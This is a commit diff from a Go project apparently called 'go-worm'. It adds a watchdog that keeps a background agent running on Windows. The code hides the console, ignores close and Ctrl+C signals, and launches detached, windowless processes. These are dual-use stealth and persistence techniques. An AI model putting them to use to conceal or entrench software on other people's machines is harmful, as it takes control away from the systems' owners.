fix(startup): make watchdog task keep agent alive
- Use Task Scheduler XML instead of /TR - Run -ensure agent in-process, not child - Add console close and panic protection - Guard nil event channels after stop - Add non-Windows stubs for startup/mutex
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
package instance
|
||||
|
||||
import "strings"
|
||||
|
||||
func filterArgs(args []string) []string {
|
||||
out := make([]string, 0, len(args))
|
||||
for _, arg := range args {
|
||||
name := strings.TrimLeft(arg, "-/")
|
||||
lower := strings.ToLower(name)
|
||||
switch {
|
||||
case lower == "background" || strings.HasPrefix(lower, "background="):
|
||||
continue
|
||||
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
|
||||
continue
|
||||
case lower == "ensure" || strings.HasPrefix(lower, "ensure="):
|
||||
continue
|
||||
}
|
||||
out = append(out, arg)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package instance
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestFilterArgsDropsLauncherFlags(t *testing.T) {
|
||||
t.Parallel()
|
||||
got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"})
|
||||
want := []string{"-addr", "0.0.0.0:5033"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("filterArgs() = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
@@ -3,3 +3,7 @@
|
||||
package instance
|
||||
|
||||
func HideConsole() {}
|
||||
|
||||
func ShowConsole() {}
|
||||
|
||||
func ProtectFromConsoleClose() {}
|
||||
|
||||
@@ -8,17 +8,27 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procFreeConsole = kernel32.NewProc("FreeConsole")
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procFreeConsole = kernel32.NewProc("FreeConsole")
|
||||
procGetConsoleWindow = kernel32.NewProc("GetConsoleWindow")
|
||||
procSetConsoleCtrl = kernel32.NewProc("SetConsoleCtrlHandler")
|
||||
procAllocConsole = kernel32.NewProc("AllocConsole")
|
||||
procGetStdHandle = kernel32.NewProc("GetStdHandle")
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
consoleCtrlCallback uintptr
|
||||
)
|
||||
|
||||
const swHide = 0
|
||||
const (
|
||||
swHide = 0
|
||||
ctrlCEvent = 0
|
||||
ctrlBreakEvent = 1
|
||||
ctrlCloseEvent = 2
|
||||
)
|
||||
|
||||
// HideConsole hides any console window and detaches from it.
|
||||
func HideConsole() {
|
||||
hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
|
||||
hwnd, _, _ := procGetConsoleWindow.Call()
|
||||
if hwnd != 0 {
|
||||
_, _, _ = procShowWindow.Call(hwnd, swHide)
|
||||
}
|
||||
@@ -26,6 +36,35 @@ func HideConsole() {
|
||||
redirectStdioToNul()
|
||||
}
|
||||
|
||||
// ShowConsole allocates a console for -foreground when built as a GUI binary.
|
||||
func ShowConsole() {
|
||||
_, _, _ = procAllocConsole.Call()
|
||||
hin, _, _ := procGetStdHandle.Call(^uintptr(9)) // STD_INPUT_HANDLE
|
||||
hout, _, _ := procGetStdHandle.Call(^uintptr(10)) // STD_OUTPUT_HANDLE
|
||||
herr, _, _ := procGetStdHandle.Call(^uintptr(11)) // STD_ERROR_HANDLE
|
||||
os.Stdin = os.NewFile(hin, "stdin")
|
||||
os.Stdout = os.NewFile(hout, "stdout")
|
||||
os.Stderr = os.NewFile(herr, "stderr")
|
||||
}
|
||||
|
||||
// ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and
|
||||
// explorer do not kill the process when the flashed console goes away.
|
||||
func ProtectFromConsoleClose() {
|
||||
if consoleCtrlCallback == 0 {
|
||||
consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
|
||||
}
|
||||
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
|
||||
}
|
||||
|
||||
func consoleCtrlHandler(ctrlType uintptr) uintptr {
|
||||
switch uint32(ctrlType) {
|
||||
case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
|
||||
return 1
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func redirectStdioToNul() {
|
||||
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
package instance
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
@@ -9,7 +8,7 @@ import (
|
||||
|
||||
func Detach() error {
|
||||
if AlreadyRunning() {
|
||||
return fmt.Errorf("agent already running")
|
||||
return nil
|
||||
}
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
|
||||
+11
-2
@@ -1,9 +1,18 @@
|
||||
package instance
|
||||
|
||||
// EnsureRunning starts a detached agent if none is holding the mutex.
|
||||
import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// EnsureRunning starts this host's agent if none is holding the mutex.
|
||||
// Callers that can stay resident should run the agent in-process instead.
|
||||
func EnsureRunning() error {
|
||||
if AlreadyRunning() {
|
||||
return nil
|
||||
}
|
||||
return Detach()
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return Launch(exe, nil)
|
||||
}
|
||||
|
||||
@@ -5,15 +5,13 @@ package instance
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Launch starts exe detached with no visible window or console IO.
|
||||
// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
|
||||
// the child alive after the parent (e.g. a scheduled task) exits.
|
||||
func Launch(exe string, args []string) error {
|
||||
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
@@ -26,33 +24,22 @@ func Launch(exe string, args []string) error {
|
||||
cmd.Stdout = nul
|
||||
cmd.Stderr = nul
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
|
||||
HideWindow: true,
|
||||
CreationFlags: windows.CREATE_NO_WINDOW |
|
||||
windows.CREATE_NEW_PROCESS_GROUP |
|
||||
windows.DETACHED_PROCESS,
|
||||
}
|
||||
return cmd.Start()
|
||||
if err := cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
return cmd.Process.Release()
|
||||
}
|
||||
|
||||
// RestartSelf launches a fresh agent process (no mutex check).
|
||||
func RestartSelf() error {
|
||||
exe, err := config.InstalledExe()
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return Launch(exe, nil)
|
||||
}
|
||||
|
||||
func filterArgs(args []string) []string {
|
||||
out := make([]string, 0, len(args))
|
||||
for _, arg := range args {
|
||||
name := strings.TrimLeft(arg, "-/")
|
||||
lower := strings.ToLower(name)
|
||||
switch {
|
||||
case lower == "background" || strings.HasPrefix(lower, "background="):
|
||||
continue
|
||||
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
|
||||
continue
|
||||
}
|
||||
out = append(out, arg)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package instance
|
||||
|
||||
import (
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package instance
|
||||
|
||||
type Guard struct{}
|
||||
|
||||
func Acquire() (*Guard, error) {
|
||||
return &Guard{}, nil
|
||||
}
|
||||
|
||||
func AlreadyRunning() bool { return false }
|
||||
|
||||
func (g *Guard) Close() {}
|
||||
Reference in New Issue
Block a user